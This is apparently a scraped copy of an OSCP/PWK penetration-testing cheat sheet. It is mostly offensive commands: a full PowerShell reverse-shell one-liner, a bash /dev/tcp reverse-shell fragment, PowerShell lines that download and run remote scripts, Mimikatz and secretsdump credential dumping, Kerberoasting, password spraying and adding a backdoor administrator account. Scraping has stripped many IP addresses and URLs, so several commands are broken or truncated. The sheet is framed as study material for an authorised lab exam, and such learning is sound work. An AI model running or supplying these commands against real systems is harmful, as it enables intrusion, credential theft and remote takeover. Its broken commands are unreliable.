Awesome Open Source
Awesome Open Source


JustTryHarder, a cheat sheet which will aid you through the PWK course & the OSCP Exam.

(Inspired by PayloadAllTheThings)

Feel free to submit a Pull Request & leave a star to share some love if this helped you. 💖

Hacktoberfest friendly! Yes, we are open to Pull Requests for Hacktoberfest! Please ensure its not spam and actually contributes well to this repo. Thanks & happy hacking!

Disclaimer: None of the below includes spoilers for the PWK labs / OSCP Exam.

Credit Info: I have obtained a lot of this info through other Github repos, blogs, sites and more. I have tried to give as much credit to the original creator as possible, if I have not given you credit please contact me on Twitter:

Active Directory & Domain Controllers

  • WIP


(Typical bad characters include: 0x00, 0x0A, 0x0D)

  • Fuzzing
  • Finding eip position
  • Finding bad chars
  • Locating jmp esp
  • Generating payload with msfvenom
  • Getting reverse shell with netcat

Good BOF resources:

Breakouts / Environment Escapes

DNS - Zone Transfers

  • host -t axfr HTB.local
  • host -l HTB.local
  • host -l
  • dig @ axfr

File Transfers

#Wget Transfer

How to retrieve file(s) from host (inside a reverse shell)

# Place file you want transferred in /var/www/html/
service apache2 start
# Run on the remote server
# wget # <- for single file
# wget -r <- for folder

#TFTP Transfer

(How to transfer from Kali to Windows)

Using MSF.

Start MSF before these steps:

Inside MSF

  1. use auxiliary/server/tftp
  2. set TFTPROOT /usr/share/mimikatz/Win32/
  3. run

Inside a terminal

  1. tftp -i GET mimikatz.exe

#NC (Windows to Kali)

  1. Windows: nc -nv 4444 <

  2. Linux: nc -nlvp 4444 >


Invoke-WebRequest -Uri -OutFile C:\Users\Victim\

Without an interactive powershell session:

# Create wget.ps1
$client = New-Object System.Net.WebClient
$path = "C:\path\to\save\file.txt"
$client.DownloadFile($url, $path)

#Base64 (Linux -> Linux)

Local Host:

  1. $(echo "cat /path/to/ | base64") > encoded.b64
  2. Transfer encoded.b64 to the remote server via nc or otherwise.

Remote Server - Linux:

  1. cat /path/to/encoded.b64 | base64 -d >

Remove Server - Powershell


certutil.exe -urlcache -split -f ""


  • -request -dc-ip <DC_IP> <domain\user>

  • powershell.exe -NoP -NonI -Exec Bypass IEX (New-Object Net.WebClient).DownloadString(‘');Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat

  • impacket-secretsdump -just-dc-ntlm <DOMAIN>/<USER>@<DOMAIN_CONTROLLER> -outputfile filename.hashes


PHP Reverse Shell:

& /dev/tcp/10.10.10/1234 0>&1'"); Command Injection:
  • For more info on LFI & RFI please refer to the LFI / RFI section at the top of the page ^


Password Cracking


  • hashcat -m 500 -a 0 -o cracked_password.txt --force hash.txt /path/to/your/wordlist.txt

#John The Ripper

  • john --rules --wordlist=/path/to/your/wordlist.txt hash.txt

Password Spraying (CrackMapExec)

  • cme smb -u username -d domain -p password

Payload Generation


Priv Esc - Linux

If GCC & wget is installed, the system MIGHT be vulnerable to a kernel exploit


int main(){
    return 0;

Priv Esc - Windows

Post Exploitation

  1. Mimikatz.exe (run it)
  2. privilege::debug
  3. sekurlsa::logonpasswords

Port Forwarding

• Local -- Forward local port to remote host.
• Remote -- Forward remote port to local host.
• Dynamic -- Use SOCKS.

Use local if you have a service running on a machine that can be reached from the remote machine, and you want to access it directly from the local machine. After setting up the tunneling you will be able to access the service using your local host IP (

Use remote if you have a service that can be reached from the local machine, and you need to make it available to the remote machine. It opens the listening socket on the machine you have used SSH to log into. 

Dynamic is like local, but on the client side it behaves like a SOCKS proxy. Use it if you need to connect with a software that expects SOCKS forwarding.

#Chisel local system:

./chisel server -p 8080 --reverse


./chisel client YOUR_IP:8080 R🔢



Port Scanning


  • reconnoitre -t -o . --services --quick --hostnames
  • nmap -vvv -sC -sV -p- --min-rate 2000
  • nmap -sT -p 22,80,110 -A
  • nmap -p- -iL ips.txt > TCP_Ports.txt
  • nc -v -n -z -w1 1-10000
  • nmap -p- -iL ips.txt > AllTCPPorts.txt

#UDP (can take hours so maybe netstat is a better alternative)

  • nmap -sU --top-ports 10000
  • nmap -sT -sU -p 22,80,110 -A
  • nmap -sT -sU -p- --min-rate 2000
  • nmap -p- -sU -iL ips.txt > udp.txt
  • nmap -sU -sV -iL ips.txt > alludpports.txt

#SNMP nmap -p161 -sU -iL ips.txt > udp.txt (cmd could be wrong, double check)

#SSH nmap --script ssh2-enum-algos -iL ips.txt > SSH.txt

#SSL nmap -v -v --script ssl-cert,ssl-enum-ciphers,ssl-heartbleed,ssl-poodle,sslv2 -iL ips.txt > SSLScan.txt

NMAP Bootstrap Report nmap -oA poison --stylesheet nmap-bootstrap.xsl firefox nmap-bootstrap.xsl

Ping Sweep

Linux (basic one liners)

  • for i in {1..254} ;do (ping -c 1 192.168.1.$i | grep "bytes from" &) ;done
  • fping -g

Linux (script)

for i in `seq 1 255`
    ping -c1 192.168.125.$i 2>/dev/null 1>&2
    if [[ $? -eq 0 ]]
        echo 192.168.125.$i is up

Windows (cmd)

  • for /L %i in (1,1,255) do @ping -n 1 -w 200 192.168.1.%i > nul && echo 192.168.1.%i is up.

Windows (PowerShell)

  • $ping = New-Object System.Net.Networkinformation.Ping ; 1..254 | % { $ping.send("10.9.15.$_", 1) | where status -ne 'TimedOut' | select Address | fl * }


  • nmap -sP


Remote Desktop

  • rdesktop -u user -p password -g 85% -r disk:share=/root/
  • xfreerdp /d:xyz.local /u:username /p:password /v: /cert-ignore


Reverse Shells



Shell Upgrading

Source: &

Socks Proxy (using PowerShell)


  • vi /etc/proxychains.conf
  • socks5 9080
  • Import-Module .\Invoke-SocksProxy.psm1
  • Invoke-SocksProxy -bindPort 9080
  • proxychains nmap -sT

SQL Injection (SQLmap)


  1. python -c 'import pty;spawn("/bin/bash");' or
  2. python3 -c 'import pty;spawn("/bin/bash");'
  3. In reverse shell:
python -c 'import pty; pty.spawn("/bin/bash")'

- In Kali

3. stty raw -echo
4. fg

- In reverse shell
5. reset (sometimes optional)
6. export SHELL=bash
7. export TERM=xterm-256color
8. stty rows <num> columns <cols> (optional)
(Sometimes the command will need to be executed: export TERM=xterm)

Using socat

socat file:`tty`,raw,echo=0 tcp-listen:4444
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:  


  1. perl -e 'exec "/bin/sh";'
  2. perl: exec "/bin/sh";


/bin/sh -i

Show listening ports

  • Linux netstat syntax

    1. netstat -tulpn | grep LISTEN
  • FreeBSD/MacOS X netstat syntax

    1. netstat -anp tcp | grep LISTEN
    2. netstat -anp udp | grep LISTEN
  • OpenBSD netstat syntax

    1. netstat -na -f inet | grep LISTEN
    2. netstat -nat | grep LISTEN
  • Nmap scan syntax

    1. sudo nmap -sT -O localhost
    2. sudo nmap -sU -O ##[ list open UDP ports ]##
    3. sudo nmap -sT -O ##[ list open TCP ports ]##

SMB - Enumeration

SMB - Impacket

  • Impacket's PSEXEC (After creating a remote port fwd) /usr/share/doc/python-impacket/examples/ [email protected]

Password: (password)

[*] Trying protocol 445/SMB...

  • Impacket's SMBServer (For File Transfer)
  1. cd /usr/share/windows-binaries
  2. python /usr/share/doc/python-impacket/examples/ a .
  3. \\\a\mimikatz.exe

SMTP Enumeration

ICMP Injection

  1. ping -n 3
  2. tcpdump -i tun0 icmp

VMware (not going full screen)

systemctl restart open-vm-tools.service

Web Servers:

  • python -m SimpleHTTPServer 80
  • python3 -m http.server 80
  • ngrok http "file:///C:\Users\sinfulz\Public Folder"
  • php -S

Web Scanning:

#Web Scanning with extensions

Linux (Example web server might be Apache) gobuster dir -e -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,js,txt,jsp,pl -s 200,204,301,302,307,403,401

Windows (Example web server might be IIS)

gobuster dir -e -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,js,txt,asp,aspx,jsp,bak -s 200,204,301,302,307,403,401

Linux (Example web server might be Apache)

python3 -r -u -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -e php,html,js,txt,jsp,pl -t 50

Windows (Example web server might be IIS)

python3 -r -u -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -e php,html,js,txt,asp,aspx,jsp,bak -t 50

#HTTP gobuster dir -u -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,html,txt -t 69

#HTTPS gobuster dir -k -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 69 (in some cases --wildcard will need to be used instead of -k)

#Nikto nikto -h -p 80

#Nikto HTTPS ``nikto -h -p 443```

WFuzz wfuzz -u -w /usr/share/wfuzz/wordlist/general/common.txt

Web Shells


Windows Framework / Powershell

bypass PowerShell execution policy

  • Bypassing execution policy and executing a script: powershell -ExecutionPolicy ByPass -File script.ps1

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  • If one has a Command Prompt shell, this will grab PowerUp from a local web server and run it on the compromised shell:
echo IEX(New-Object Net.WebClient).DownloadString('') | powershell -noprofile -
IEX(New-object Net.WebClient).DownloadString('')

powershell -nop -exec bypass IEX "(New-Object Net.WebClient).DownloadString('http://10.10.14.x/Whatever.ps1'); Invoke-Whatever"
  • Reverse Powershell using mssql:
xp_cmdshell powershell IEX(New-Object Net.WebClient).downloadstring(\"\")
  • File transfer with PowerShell:
powershell -c IEX(New-Object Net.WebClient).DownloadFile('http://server/path/to/file', 'nameforefile')`

Windows Post Exploitation Commands

  • net user
  • net localgroup Users
  • net localgroup Administrators
  • net user USERNAME NEWPASS /add
  • net user "USER NAME" NEWPASS /add
  • net localgroup administrators USERNAME /add

Writeable Directories


list from The following folders are by default writable by normal users (depends on Windows version - This is from W10 1803)

C:\Windows\System32\Tasks_Migrated (after peforming a version upgrade of Windows 10)


To find World Writeable Directories in Linux use the command: find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print

Todo List:

  • Improve the readability of the cheatsheet
  • Fill in the empty sections
  • Remove unnecessary sections
  • Integrate the files in the repo into the cheatsheet
  • Migrate to GitBook
  • Include screenshots/gifs into the cheatsheet if needed

Thank you:

Thanks to these people for including my cheatsheet on their site/page:

Get A Weekly Email With Trending Projects For These Topics
No Spam. Unsubscribe easily at any time.
python (53,372
hacktoberfest (4,234
testing (944
pentesting (371
penetration-testing (244
pentest (208
pentest-tool (133
oscp (48
pentesting-tools (27
penetration-testing-framework (22
penetration-testing-tools (19
pentest-scripts (18